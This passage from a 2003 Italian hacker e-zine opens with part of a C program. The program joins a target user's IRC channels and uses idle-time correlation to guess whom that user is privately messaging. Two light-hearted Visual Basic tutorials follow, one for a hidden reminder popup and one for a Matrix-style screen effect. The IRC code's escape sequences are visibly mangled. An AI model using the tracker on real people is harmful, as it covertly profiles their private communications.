| if(index_nick->idle <= IDLE_THRESHOLD) |
| nickname_idle = index_nick->idle; |
| |
| /* |
| * Else, set the idle for that nick to a dummy value. This cause |
| * the trust value of all the nick in the channel to be set to 0 |
| */ |
| else |
| nickname_idle = (IDLE_THRESHOLD * 2) + 1; |
| } |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| add_idle = nickname_idle + index_nick->idle; |
| |
| /* |
| * If the sum of the idle of the nickname specified from the |
| * command line and the one retrived from the nick list is bigger |
| * than IDLE_THRESHOLD * 2, then the trust value of the retrived |
| * nick will be set to 0 |
| */ |
| if(add_idle > IDLE_THRESHOLD * 2){ |
| index_nick->trust = 0; |
| index_nick = index_nick->next; |
| continue; |
| } |
| |
| /* |
| * The trust for the nick in the channel will be increased |
| * proportionally to the value of the sum calcolated as described |
| * above |
| */ |
| else if(add_idle <= IDLE_THRESHOLD * 2 / 3) |
| index_nick->trust += 3; |
| else if(add_idle <= IDLE_THRESHOLD * 4 / 3) |
| index_nick->trust += 2; |
| else |
| index_nick->trust++; |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| index = list; |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| printf("%s: %d %dn", index_nick->nickname, index_nick->idle, |
| index_nick->trust); |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| } |
| |
| /* |
| * Check channel statistics and prompt for possible query |
| */ |
| |
| void idle_check(chan *list, char *nickname){ |
| |
| chan *index = list; |
| nick *index_nick; |
| |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| |
| /* |
| * If the trust value of a nickname in the channel has reached |
| * the value specified by the TRUST constant, prompt the user |
| * for possible query between this user and the one specified |
| * as argument of the command line |
| */ |
| if(index_nick->trust >= TRUST && |
| strcmp(nickname, index_nick->nickname) != 0) |
| printf("possibile query con %sn", index_nick->nickname); |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| printf("n"); |
| |
| } |
| |
| /* |
| * Reset trust value of nickname that speak in chennel |
| */ |
| |
| int reset_trust(char *buff, chan *list, char *nickname){ |
| |
| int i = 0; |
| char *temp, *token; |
| chan *index; |
| nick *index_nick; |
| |
| temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| strcpy(temp, buff); |
| |
| /* |
| * Parse and save the nickname that speak in channel |
| */ |
| if( (token = (char *)strtok(temp, " ")) != NULL && token[0] == ':'){ |
| token++; |
| while(token[i] != '!' && token[i] != 0) |
| i++; |
| if(token[i] == '!'){ |
| token[i] = 0; |
| index = list; |
| |
| /* |
| * The trust value of the saved nickname will be reset |
| */ |
| if(strcmp(nickname, token) != 0){ |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL && |
| strcmp(token, index_nick->nickname) != 0) |
| index_nick = index_nick->next; |
| |
| /* |
| * To reset the nickname we assign a trust value of -3 |
| * because in the next idle probe its value will be |
| * incremented and will reach the 0 |
| */ |
| if(index_nick != NULL) |
| index_nick->trust = -3; |
| index = index->next; |
| } |
| } |
| |
| /* |
| * If the saved nickname is the same of the nick supplied from |
| * the command line, the trust value of all nick in the channel |
| * will be reset |
| */ |
| else{ |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| index_nick->trust = -3; |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| } |
| } |
| } |
| free(temp); |
| } |
| |
| /* |
| * The signal handler function is called every time the timer |
| * set by alert(), default 30 seconds, reach 0 |
| * The sig_handler() function call other function that probe |
| * and sample idle value, update nick list, calculate statistics |
| * and check for possible query |
| */ |
| |
| static void sig_handler(int signo){ |
| |
| if(count == N){ |
| update_global = list_global; |
| count = 0; |
| } |
| idle_prober(sock_global, list_global); |
| idle_stat(list_global, nick_global); |
| idle_check(list_global, nick_global); |
| count++; |
| if(alarm(30) != 0) |
| printf("alarm was already setn"); |
| |
| } |
| |
| int main(int argc, char **argv){ |
| |
| struct sockaddr_in servaddr; |
| int sock, r, first = 1; |
| char buff[1000]; |
| chan *list = NULL, *join = NULL, *index; |
| nick *index_nick; |
| struct sigaction act, oldact; |
| |
| act.sa_handler = sig_handler; |
| sigemptyset(&act.sa_mask); |
| act.sa_flags = 0; |
| act.sa_flags |= SA_RESTART; |
| if(sigaction(SIGALRM, &act, &oldact) < 0) |
| printf("sigaction errorn"); |
| |
| if(argc != 3){ |
| printf("Usage: %s <ip address> <nickname>n", argv[0]); |
| exit(0); |
| } |
| |
| if( (sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){ |
| printf("socket errorn"); |
| exit(0); |
| } |
| |
| bzero(&servaddr, sizeof(servaddr)); |
| servaddr.sin_family = AF_INET; |
| if(inet_pton(AF_INET, argv[1], &servaddr.sin_addr) <= 0){ |
| printf("inet_pton errorn"); |
| exit(0); |
| } |
| servaddr.sin_port = htons(PORT); |
| |
| if(connect(sock, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0) |
| { |
| printf("connect errorn"); |
| exit(0); |
| } |
| |
| strncpy(buff, USER, sizeof(buff)); |
| writen(sock, buff, strlen(buff)); |
| |
| strncpy(buff, NICK, sizeof(buff)); |
| writen(sock, buff, strlen(buff)); |
| |
| buff[0] = 0; |
| sleep(10); |
| |
| while(1){ |
| |
| /* |
| * Build a list of the channel that the nickname supplied |
| * from the command line has joined |
| */ |
| if(list == NULL){ |
| while(!channel_sampler(buff, &list, argv[2])){ |
| strncpy(buff, "WHOIS ", sizeof(buff)); |
| strncat(buff, argv[2], sizeof(buff) - strlen(buff) - 1); |
| strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); |
| writen(sock, buff, strlen(buff)); |
| if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ |
| printf("read errorn"); |
| exit(0); |
| } |
| } |
| list_global = list; // passa la lista al signal handler |
| sock_global = sock; |
| nick_global = argv[2]; |
| join = list; |
| } |
| |
| /* |
| * Join all the channel in the list already build by |
| * channel_sampler() function |
| */ |
| if(join != NULL){ |
| sleep(3); |
| strncpy(buff, "JOIN ", sizeof(buff)); |
| strncat(buff, join->channel, sizeof(buff) - strlen(buff) - 1); |
| strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); |
| writen(sock, buff, strlen(buff)); |
| join = join->next; |
| } |
| |
| /* |
| * Query the IRC server for the list of nick in all channels |
| * The response will be handled by nick_list() that update |
| * the nick list |
| */ |
| if(update_global != NULL){ |
| sleep(3); |
| strncpy(buff, "NAMES ", sizeof(buff) - 1); |
| strncat(buff, update_global->channel, |
| sizeof(buff) - strlen(buff) - 1); |
| strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); |
| writen(sock, buff, strlen(buff)); |
| update_global = update_global->next; |
| } |
| if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ |
| printf("read errorn"); |
| exit(0); |
| } |
| buff[r] = 0; |
| |
| /* |
| * Buid or update the list of the nick in the channel from |
| * the RPL_NAMREPLY message received from the server |
| */ |
| if(nick_list(buff, list)){ |
| if(first){ |
| |
| /* |
| * Set the first alarm() that elicit a SIGALRM signal |
| * handled by sig_handler() |
| */ |
| if(alarm(30) != 0) |
| printf("alarm was already setn"); |
| first = 0; |
| } |
| index = list; |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| printf("%sn", index_nick->nickname); |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| } |
| else ping_pong(sock, buff); |
| reset_trust(buff, list, argv[2]); |
| } |
| |
| } |
| |
| |
| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| PR0MEM0RiA iN VB [Pupi] 0x0E/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| Pro Memoria in VB |
| |
| Eccomi di nuovo qua e ancora a spiegarvi come funziona un piccolo |
| programmino in VB... |
| |
| Premessa: lo so, lo so che la maggior parte di voi considera VB uno dei |
| peggiori linguaggi di programmazione esistenti (e in effetti non posso |
| darvi torto), lo so che non è molto potente come linguaggio, ma se non |
| altro è abbastanza semplice e permette di fare con estrema facilità |
| cose per cui altrimenti dovremmo scrivere Km di codice in altri |
| linguaggi!! E allora perchè sputarci sopra...nessuno si sogna di |
| progettare in VB chissà cosa di grande importanza o utilità (anche |
| perchè sarebbe difficile, per non dire impossibile, e cmq sarebbe un |
| gesto folle scegliere VB), ma semplici programmini utili possiamo |
| sempre farceli...e quello che sto per spiegarvi può davvero risultare |
| un piccolo utile semplicissimo programmino facile facile che tutti vi |
| potete creare!! |
| |
| Or dunque, chiarito il perchè mi ostino a scrivere ancora in Visual |
| Basic nonostante di linguaggi ne sappia parecchi, andiamo |
| oltre...dicevamo...dopo Matrix (bello quanto volete, ma inutile come |
| programma), ecco un altro pò di codice che invece può rivelarsi molto |
| molto utile in certi casi. |
| |
| Obiettivo:creare un piccolo pro-memoria che, invisibile ai nostri |
| occhi, controlli saltuariamente l'orologio di sistema per richiamarci a |
| tempo debito ed avvertirci di altri impegni. |
| |
| Detto fatto, niente di più facile... |
| Allora...tanto per iniziare dovrete crearvi un Form più o meno simile a |
| quello che mi sono creato io (ma potete anche cambiarlo del tutto, |
| nessuno vi obbliga a copiarlo completamente!!), ovvero, partendo |
| dall'alto verso il basso, fate: |
| 1-Mettete un'etichetta e cambiatele Caption in "Ora:" (senza |
| virgolette!!). |
| 2-Accanto all'etichetta Ora mettete un testo a linea singola, |
| chiamatelo txtOra e cancellate il contenuto della proprietà Text. |
| 3-Lasciate un pò di spazio vuoto (poco) e sotto a questi mettete |
| un'altra etichetta con Caption "ProMemoria:" (anche questo senza |
| virgolette, ma sfido a trovare qualcuno tanto grullo che ce le mette, |
| quindi non lo dirò più!!). |
| 4-Sotto questa etichetta mettete un altro testo, chiamatelo |
| txtProMemoria, cancellate la proprietà Text e mettete Multiline su True. |
| 5-In fondo, uno accanto all'altro, mettete due pulsanti le cui Caption |
| saranno rispettivamente "Attiva" e "Esci" e i cui nomi saranno |
| cmdAttiva e cmdEsci. |
| 6-Dove volete piazzate un Timer che chiamerete in uno sforzo di |
| fantasia Timer (che volete, mi sono appena svegliato, mica posso |
| inventarmi chissà che nomi fino a quando il cervello mi resta in |
| Standby!!) e per cui imposterete Enabled su False e Interval su 20000 |
| (20 secondi circa). |
| 7-Per ultimo vanno cambiate alcune proprietà del Form, ovvero il nome |
| (se volete, altrimenti non importa!! Io ad esempio l'ho chiamato "PM" e |
| ho cambiato anche il nome del progetto in "ProMemoria" così che fra le |
| applicazioni in corso non mi appare "Progetto1" quando lo eseguo, ma |
| bensì ProMemoria!!), la Caption in "Pro-Memoria" (o come volete, tanto |
| è semplicemente il nome che appare nella barra della finestra), |
| BorderStyle = 1-Fixed Single, StartUpPosition = 2-CenterScreen e |
| ControlBox su False. Quest'ultimo perchè almeno quando lo lanciamo e lo |
| impostiamo, poi premiamo Attiva e di lui non rimane niente neppure |
| sulla barra d'avvio!! |
| |
| Ok...adesso il Form e tutto ciò che ci serve sono pronti...manca solo |
| il codice sorgente... |
| Benissimo...eccolo qua, spiegato un pezzo alla volta!! |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub Form_Load() |
| txtOra = Format(Time, "hh:mm:ss") |
| txtProMemoria = "Ricordati che..." |
| End Sub |
| ------------------------------------------------------------------------ |
| Questa parte di codice fa semplicemente in modo che all'avvio del |
| programma nel testo txtProMemoria appaia la scritta "Ricordati che..." |
| (O qualsiasi scritta vogliate; potete anche cambiarla o toglierla o |
| inserirla direttamente nella proprietà Text di txtProMemoria) mentre |
| nella casella txtOra verrà impostata un'ora qualsiasi e in questo caso |
| ci impostiamo l'ora di sistema, nel formato che apparirà |
| come "hh.mm.ss", nonostante nell'istruzione indichiamo i due punti!! |
| Misteri della fede... |
| Ah...piccolo appunto: visto che txtOra è il primo controllo che può |
| ricevere il SetFocus (ovvero la selezione) non importa impostarla |
| perchè la riceve automaticamente all'avvio...se invece vogliamo che |
| altri controlli ricevano la selezione automatica all'avvio, scrivere |
| nel codice oggetto.SetFocus, dove oggetto è il nome del controllo che |
| deve ricevere la selezione. |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub txtOra_GotFocus() |
| txtOra.SelStart = 0 |
| txtOra.SelLength = Len(txtOra) |
| End Sub |
| ------------------------------------------------------------------------ |
| Ecco qua due istruzioni che fanno si che quando txtOra riceve la |
| selezione (ovvero al lancio del programma) tutto il testo venga |
| evidenziato e cancellato non appena si preme un tasto, supponendo che |
| il testo vada in ogni modo cambiato, in quanto non penso che si imposti |
| il promemoria per avvertirci di qualcosa che dobbiamo fare nel minuto |
| corrente!! |
| Altro piccolo appunto: quando si scrive l'ora da impostare per far |
| scattare il ProMemoria, si devono mettere anche i punti, altrimenti, |
| per una funzione di controllo che vedremo dopo, il programma setterà |
| automaticamente ogni volta l'ora a "00.00.00". |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub txtOra_LostFocus() |
| Dim i As Integer |
| For i = 1 To Len(txtOra) |
| If IsNumeric(Mid(txtOra, i, 1)) = False Then |
| If Mid(txtOra, i, 1) <> "." Then |
| GoTo ErrOra |
| End If |
| End If |
| Next i |
| On Error GoTo ErrOra |
| txtOra = Format(txtOra, "hh:mm:ss") |
| Exit Sub |
| ErrOra: |
| MsgBox "Formato ora non valido.", vbExclamation, "Errore formato ora" |
| txtOra = Format(Now, "hh:mm:ss") |
| txtOra.SetFocus |
| End Sub |
| ------------------------------------------------------------------------ |
| Ecco qua la funzione di controllo di cui sopra sulla esatta scrittura |
| dell'ora. Questa funzione è necessaria in quanto per vedere se |
| l'ora "X" è scattata dovremo prelevare l'ora dal sistema e confrontarla |
| con quella impostata e bisogna far sì che la formattazione delle ore |
| sia uguale, altrimenti si intrippa e non ci avverte mai!! |
| Comunque...dicevamo...questa funzione controlla prima di tutto che nel |
| testo siano presenti solo cifre da 0 a 9 o punti "." (di separazione), |
| perchè altrimenti se ci sono altri caratteri va in palla tutto e non |
| funziona, dopodichè formatta l'ora inserita secondo il formato |
| richiesto. Come vi ho detto se non inserite i punti formatterà l'ora |
| a "00.00.00", quindi inserite i punti quando scrivete l'ora. |
| Se scriverete un0ora del tipo "12.4.6" il programma ve la formatterà |
| come "12.04.06", e via dicendo. |
| In caso di errore (stringa troppo lunga, caratteri non validi, ecc.) ci |
| apparirà una finestra che ci avverte della non validità del formato |
| dell'ora e resetterà il test di nuovo secondo l'ora di sistema. |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub txtProMemoria_GotFocus() |
| txtProMemoria.SelStart = 0 |
| txtProMemoria.SelLength = Len(txtProMemoria) |
| End Sub |
| ------------------------------------------------------------------------ |
| Per la spiegazione di queste due semplici istruzioni vedere Private Sub |
| txtOra_GotFocus(). |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub cmdEsci_Click() |
| Unload Me |
| End Sub |
| ------------------------------------------------------------------------ |
| Il tasto Esci...se lo si preme si scarica il programma dalla memoria e |
| chi s'è visto s'è visto!! |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub cmdAttiva_Click() |
| Timer = True |
| Me.Hide |
| End Sub |
| ------------------------------------------------------------------------ |
| Il tasto Attiva...se lo si preme aziona il Timer e nasconde il Form che |
| sparirà dallo schermo e dalla barra d'avvio, per riapparire a tempo |
| debito ed avvertirci dei nostri impegni. |
| |
| |
| ------------------------------------------------------------------------ |
| Private Sub Timer_Timer() |
| Dim strOra As String |
| strOra = Format(Now, "hh:mm:ss") |
| If strOra > txtOra Then |
| MsgBox "Ricordati che..." & txtProMemoria, vbInformation, "Pro |
| Memoria, ore: " & txtOra |
| Unload Me |
| End If |
| End Sub |
| ------------------------------------------------------------------------ |
| Il Timer, il cuore del ProMemoria, ogni 20 secondi circa (ma lo si può |
| impostare anche su tempi diversi, ricordando che 1000 corrisponde a |
| circa un secondo) scaricherà l'ora di sistema in una variabile, |
| formattandola a dovere, per poi controllarla paragonandola con l'ora da |
| noi impostata e, nel caso sia uguale o maggiore (maggiore perchè |
| chiaramente avvenendo il controllo ogni venti secondi rischiamo quasi |
| sicuramente di andare oltre l'ora impostata di qualche secondo) ci |
| avverte con un MsgBox (ovvero una finestrella) il cui titolo sarà "Pro |
| Memoria, ore: <ora impostata>" e il cui testo riporterà il ProMemoria |
| da noi scritto (ad esempio: "Ricordati che devi hackerare il server |
| xxx!!"). |
| |
| |
| Ecco qua...è tutto...difficile? Direi di no...eppure può rivelarsi a |
| volte molto utile, vi assicuro...ad esempio, dovete andare dalla vostra |
| ragazza a festeggiare il suo compleanno? Potrete evitare che la vostra |
| unica compagna rimanga la tastiera...dovete andare a fare la spesa (o |
| che so io)? Potrete evitare che vostra madre scleri...dovete andare a |
| lavorare? Potrete evitare il licenziamento...dovete andare dagli sbirri |
| per rispondere di atti di "violenza informatica"?Beh...che lo impostate |
| a fare...SCAPPATE!! |
| Ok, a parte gli scherzi, quando vi metterete davanti al Pc a volte vi |
| accorgerete che vi potrà tornare utile attivarlo per ricordarvi che è |
| giunta l'ora di staccarvi dallo schermo!! |
| E' chiaro che si possono apportare modifiche al programma, ad esempio, |
| formattando l'ora senza secondi e uguale a quella scaricata dal |
| sistema, il blocco di gestione e controllo del formato risulterà più |
| leggero, e così via, ma ciò nonostante il codice soprà riportato è |
| abbastanza veloce, poco spazioso e completo, quindi non mi sono |
| sbattuto troppo per migliorarlo ulteriormente...se vi va fatelo da voi!! |
| |
| Ok...vi saluto e vi ringrazio per l'ascolto...se volete scrivermi per |
| un motivo qualsiasi la mia e-mail è: Toscaio@Hotmail.com |
| Se non volete scrivermi è uguale, evidentemente non avevate niente da |
| dirmi, quindi alla prossima volta...per ora è tutto!! |
| Au revoir... |
| |
| |
| @#§§-<PUPI>-§§#@ |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| MATRiX [Pupi] 0x0F/0x20 |
+--------------------------------------------------------------------------+
| |
| MATRIX |
| |
| |
| A chi, fra tutti gli spippolatori che leggeranno questo documento, non |
| è mai passato per la testa di riprodurre quella schermata che si vede |
| nel film Matrix in cui colonne di simboli cadono per lo schermo e nelle |
| quali gli abitanti della navetta di Morpheus riescono a vedere "belle |
| bionde e cosce lunghe"? |
| |
| ...Il cucchiaino non esiste... |
| |
| Non so a voi, ma a me ha tormentato per mesi la curiosità di scoprire |
| se davvero in tali masse di dati si riescono a vedere bionde e cosce e, |
| spinto da questi nobili principi, ho deciso di riprodurre quella |
| schermata...o meglio...all'inizio avevo deciso di cercarne una già |
| fatta |
| per evitarmi la fatica e nonostante i compagni di ondaquadra mi abbiano |
| dato molte dritte su dove potevo trovarla...non ne ho trovata nessuna!! |
| Tutte brutte copie lontane mille miglia dalla reale schermata...e |
| allora...se non la posso trovare, la creo!!! |
| La scelta del linguaggio è caduta su Visual Basic (perkè?beh...ho preso |
| un dado, ad ogni numero corrispondeva un linguaggio, l'ho tirato per |
| aria...e...Visual Basic!!). |
| Premetto che il risultato è abbastanza soddisfacente e molto vicino |
| alla reale schermata, tanto che quando l'ho fatto partire per la prima |
| volta (non è partito, diciamo la seconda o terza,và...)mi sono stupito |
| io stesso... |
| Spero, una volta letto questo testo, che qualcuno se la faccia |
| prendere bene e si metta come me a scervellarsi per riprodurre |
| fedelmente la famosa schermata, magari partendo dal sorgente che |
| troverà di seguito e migliorandolo... |
| Allora...iniziamo... |
| |
| |
| Pillola blu, pillola rossa... |
| |
| ...Blu?A' Morpheus, cazzo dici!!...guarda che sò giovane ancora, |
| niente Viagra per me... |
| |
| Mi sono accorto purtroppo (riguardando per l'ennesima volta il film, |
| che già che ci sono me lo riguardo per intero ogni volta!!) che nella |
| schermata ogni colonna ha velocità propria, differente dalle altre, e |
| per far questo in Visual Basic bisogna (ahimè) creare un timer per ogni |
| colonna... |
| Questo rende il tutto un po' complicato e non potevo certo permettermi |
| di creare un timer a colonna per un programma che gira su tutto |
| schermo...quindi...ho deciso di creare una matrice di timer (con 20 |
| timer, ma va bene anke meno o di +) con le seguenti caratteristiche: |
| |
| Name=Timer (per tutti uguale, sennò che matrice è!!); |
| Index=da 0 a 19 (per i più duri, il primo timer ha index zero, il |
| secondo ha index uno e così via); |
| Interval=10 il primo, 20 il secondo, 30 il terzo e così via fino a |
| 200... |
| Enabled=True (x tutti) |
| |
| Poi necessitiamo di un altro timer aggiuntivo che chiameremo TimeSost e |
| che serve solo per una funzione "opzionale" che vi spiegherò dopo e |
| quindi potete anke levarlo ma a me piace e poi anche in Matrix c'è |
| quella funzione e allora l'ho messo e poi che volete sapete che vi dico |
| ok ve la siete cercata...nun me scassate ò kazz!!! |
| Lo stesso vale per TimeLet e TimeStr, anch'essi utili solo per una |
| funzione grafica che rende il tutto un po' + carino. |
| Le caratteristiche di TimeSost sono semplicemente Enabled=true e |
| Interval=10. |
| Per TimeLet, Enable=true e Interval=50. |
| Infine per TimeStr (secondo me la + carina fra tutte le funzioni |
| grafiche di questo programmino), Enabled=true e Interval=100 (o75,se la |
| volete + veloce). |
| Fatto questo prendiamo il form, proprietà e modifichiamo: |
| |
| backcolor=nero; |
| filecolor e forecolor (non so quale è quello sicuro, ma se li mettete |
| tutti e due funziona e quindi...) su un verde brillante (avete presente |
| il verde delle foglie di marijuana durante i primi giorni di vita?); |
| Controlbox, enabled, clipcontrols tutti su false; |
| caption= (vuol dire che non ci deve essere scritto niente in |
| caption); |
| borderstyle=fixed single; |
| scalemode=4 (character); |
| Tipo carattere: Arial Black, di dimensione 7, senza grassetto o corsivo |
| o sottolineato. |
| |
| Ecco qua...il form è pronto...manca solo da impostare WindowsState su |
| 2: Maximized...TUTTO SCHERMO!!! Ve la consiglio...una volta pronto sarà |
| un flash stupendo... |
| Ok...nient'altro da dire...(Almeno credo...se mi sono dimenticato |
| qualcosa ve lo dico dopo)...possiamo passare alla parte riguardante i |
| moduli. |
| |
| |
| Follow the white rabbit... |
| |
| Ok...fatto il form arriva adesso la parte + bella e intortante: vi |
| spiegherò uno ad uno cosa fanno i vari timer ed in seguito li |
| rispiegherò in funzione di Matrix. Kiaro, no? |
| Or dunque...i vari timer (quelli della matrice) partono ognuno dal |
| punto zero (prima riga) di una colonna a caso e ogni volta che arrivano |
| in fondo cambiano colonna e rifanno sulla nuova colonna lo stesso |
| lavoro, e così via, all'infinito. Ma cos'è che fanno? Lo spiego subito. |
| Ad ogni istanza (copia) del timer viene assegnata una variabile dove |
| viene messo un valore a caso (anke questo viene riscritto ogni volta |
| che arriva a fondo colonna) che è un punto a caso lungo la colonna. Il |
| timer ad ogni "clock", partendo da zero, cancella un eventuale valore |
| scritto e riscrive un valore a caso del codice Ascii (tradotto in |
| simbolo, s'intende) nel punto indicato al momento e "scende" di una |
| riga lungo la propria colonna assegnata. Questo fino a quando non |
| arriva al suo "punto". Da lì in poi inverte la sua funzione e invece |
| che scrivere, cancella tutto ciò che trova sul suo cammino. |
| Come riesce a fare questo ve lo spiegherò in seguito. |
| L'altro timer invece (TimeSost) ha una variabile che cambia |
| continuamente durante l'esecuzione di Matrix e che contiene ogni volta |
| anch'essa un valore tradotto in carattere del codice Ascii. Ad ogni |
| rintocco della campana TimeSost calcola un punto a caso nello schermo |
| e, se c'è il riskio che sia "vuoto", lo lascia com'è, ma se ha la |
| certezza che sia "pieno", ovvero ci sia già scritto qualcosa, cambia |
| semplicemente il valore che vi trova con un nuovo valore. Perkè? Perkè |
| si, perkè mi piaceva e quindi l'ho fatto e se riguardate Matrix vi |
| accorgerete che ho fatto bene a farlo!!! :p |
| Per quanto riguarda TimeLet, parte semplicemente come i normali timer |
| di colonna da zero e mantiene via via che scende sempre la stessa |
| lettera MAIUSCOLA o lo stesso numero, ma a differenza dei timer di |
| colonna non lascia la scia (gioco di parole non voluto) ma cancella via |
| via tutto ciò che si lascia alle spalle. Poi, ad un punto pre- |
| calcolato, si ferma lasciando ciò che trasportava...si avrà quindi |
| l'impressione ad esempio di una lettera in caduta libera lungo lo |
| schermo!!bello, no? |
| Infine, TimeStr fa ben 2 cose al prezzo di una, ovvero controlla due |
| funzioni: |
| la prima è simile al controllo di TimeLet, ma a differenza di quello |
| non mantiene sempre lo stesso carattere ma anzi lo cambia continuamente |
| e si lascia si una breve scia alle spalle di 10 caratteri e man mano |
| che avanza per ogni nuova riga scritta ne cancella una in coda. |
| Partendo da zero scende fino a fondo schermo e sparisce oltre la linea |
| di fondo completamente; |
| la seconda funzione d
i TimeStr invece consiste nello scrivere una |
| stringa di una lunghezza a caso lungo una colonna, ma non come i |
| semplici timer partendo da zero e fermandosi in un punto qualsiasi, |
| bensì partendo da un punto qualsiasi e fermandosi in un altro punto |
| qualsiasi, quindi in un punto imprecisato dello schermo ogni volta |
| diverso andrà a scrivere il suo insieme di caratteri casuali... |
| Tutto Kiaro? |
| |
| ...Un'uscita...subito... |
| |
| Ecco qua...questo è tutto ciò (come se fosse poco) che vi serve per |
| creare un programma che riprodurrà quasi fedelmente (seeeee...come no... |
| vabbè, io ci ho provato) la schermata di Matrix...ma...ma...io non ci |
| vedo niente!!Ne cosce ne bionde... |
| Vabbè...vabbè...come non detto...magari migliorandola...cmq,mi sono |
| scordato forse la cosa + importante, e quindi ri-eccomi ancora qua... |
| Ed ecco a voi... |
| |
| |
| Matrix has you... |
| |
| ...I codici sorgenti!!!Vi ho già spiegato la funzione di ogni singolo |
| timer quindi se non avete capito bene ho non riuscite a capire un riga |
| nun me scassate o'kazz!!Prendete un manuale di Visual Basic e ve lo |
| studiate...oppure...oppure...scrivetemi, và...sarò gentile e vi fornirò |
| ulteriori spiegazioni, ok?E poi non andate in giro a dire che Pupi è |
| una merda e non spiega le cose o via dicendo che se vi becco ve |
| sfracello a'capa!! |
| Allora, proseguiamo (in ordine): |
| |
| ...Sta cominciando a convincersi... |
| |
| Inizierò con lo spiegarvi cosa fa Form_Load, ovvero inizializza tutti i |
| registri del programma in modo che all'avvio non contengano valori |
| nulli e ritardino o peggiorino l'esecuzione (e vi giuro che lo |
| fanno, 'sti bastardi!!). Ma volendo si può provare anche l'esecuzione |
| senza eseguire questa Sub, e vedere che fa (magari niente)...nei codici |
| che ho scritto sotto infatti non ho messo il Load del Form e sul mio Pc |
| non crea casini, ma se sui vostri lo fa prendete tutte le variabili |
| riportate in cima e inizializzatele (come? Minkia...un po' di |
| fantasia...se proprio non ci riuscite scrivetemi che ve lo dico, ok?). |
| Certo è che non possiamo levare di sicuro Timer_timer, che gestisce |
| ogni singolo "rintocco" di ogni singolo timer di colonna (praticamente |
| manda avanti tutta la baracca). Questa Sub calcola se il punto corrente |
| su cui va ad agire il timer che ha chiamato è un punto di scrittura o |
| un punto di cancellazione, e chiama quindi le due function TimeGen o |
| TimeCanc a seconda di quello che si deve fare, oppure, se il punto |
| indicato "sfonda" al di fuori dello skermo, rinizializza il timer |
| cambiandogli colonna e punto di inversione. |
| Continuerò spiegandovi come funziona e che cacchio è la Function |
| TimeGen: |
| Innanzitutto TimeGen viene chiamata indipendentemente dai Timer di |
| colonna che le passano ognuno per conto suo la colonna di azione e la |
| riga alla quale erano rimasti (vedi Private Sub Timer_timer(index as |
| integer)) |
| Or dunque...TimeGen è la funzione a cui ogni timer di colonna fa |
| riferimento per cancellare il simbolo presente nel punto a cui si sta |
| indicando al momento e sostituirlo con un altro simbolo, e visto che se |
| si scrive senza cancellare i simboli si sovrappongono e sui form non |
| esiste un modo di cancellare diretto, bisogna passare dall'uscita di |
| sicurezza, ovvero creare un quadrato sul simbolo precedente con Line e |
| riempirlo col colore di fondo del form per poi poterci riscrivere sopra. |
| Semplice, no? |
| Ad ogni scadere del clock quindi ogni singolo timer riscrive (anzi, |
| cancella e riscrive) un simbolo nella posizione corrente del form e |
| avanza lungo la propria colonna, quindi, quando arriva a fine colonna, |
| riparte da 0 cambiando colonna e cambiando pure punto di inversione |
| della funzione (da scrittura a cancellatura). Infine ogni volta che |
| viene eseguito TimeGen la variabile varcas (string) muta e vi viene |
| scritto dentro un nuovo simbolo. |
| Di contro, esiste la function TimeCanc che invece che cancellare e |
| riscrivere, cancella solamente tutto ciò che trova sul suo cammino. |
| Quale delle due ogni timer deciderà di eseguire dipenderà dal fatto se |
| è "sopra" (ovvero in righe + alte) del "punto di cambio" oppure se si |
| trova "sotto". Anke la funzione TimeCanc cambia il valore contenuto |
| nella variabile varcas. |
| |
| ...Ahò...Pupi...ce voi dì a'cchè serve 'sta variabbile "varcas" e perkè |
| tutti la modificano?... |
| |
| Perkè? |
| Perkè c'è la sub TimeSost e TimeStrche la prendono quando hanno |
| voglia...quando?...mmm... |
| |
| ...Correva l'anno 2001... |
| |
| Diciamo allo scadere del proprio timer (vi basta come spiegazione?No? |
| Cakki vostri...fatevela bastare!!)...dicevamo, la sub TimeSost prende |
| la variabile varcas, sceglie un punto a caso del form, se ha la |
| certezza che è "occupato" cancella quello che c'è scritto |
| e...zac!!...ci piazza la sua variabiluccia, altrimenti, se pensa che |
| sia "vuoto" gli pijia male e se la leva senza fare niente di |
| che...perkè lo fa?...beh...boh...potete anke levarlo, in effetti, ma fa |
| + varietà, mi piaceva... |
| La sub TimeStr uguale, ovvero prende per le proprie funzioni (che ho |
| spiegato sopra e quindi non mi rimetterò a spiegare) la variabile |
| varcas e fa quello che deve fare, ovvero scrive e fa scorrere la |
| stringa "a scorrimento" e incide l'altra stringa nel punto "a caso" che |
| si è scelta, sempre diversi ( a dir la verità la stringa a scorrimento |
| poi è sempre 10 colonne a sinistra della stringa incisa a caso). |
| Dulcis in fundo...TimeLet!! Ha una variabile a se stante che è una |
| matrice di due e ci mette un numero e una lettera maiuscola e poi li |
| lancia in caduta libera lungo colonne a caso, per poi ripartire da caso |
